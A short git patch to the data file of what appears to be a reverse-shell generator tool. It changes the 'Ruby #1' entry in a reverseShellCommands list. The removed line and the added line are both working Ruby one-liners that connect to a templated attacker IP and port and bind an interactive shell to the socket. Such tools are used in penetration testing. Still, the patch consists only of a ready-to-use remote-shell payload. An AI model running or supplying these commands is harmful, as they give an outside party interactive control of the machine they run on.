From 32de0e0ede522191200e172cf7e0952093958ad5 Mon Sep 17 00:00:00 2001 From: Ricardo Costa Date: Thu, 1 Jul 2021 04:15:39 -0400 Subject: [PATCH] Fix Ruby #1 shell --- js/data.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/js/data.js b/js/data.js index 9f73293..c813c74 100644 --- a/js/data.js +++ b/js/data.js @@ -215,7 +215,7 @@ const reverseShellCommands = withCommandType( }, { "name": "Ruby #1", - "command": "ruby -rsocket -e'f=TCPSocket.open(\"{ip}\",{port}).to_i;exec sprintf(\"{shell} -i <&%d >&%d 2>&%d\",f,f,f)'", + "command": "ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{ip}\",{port}))'", "meta": ["linux", "mac"] }, {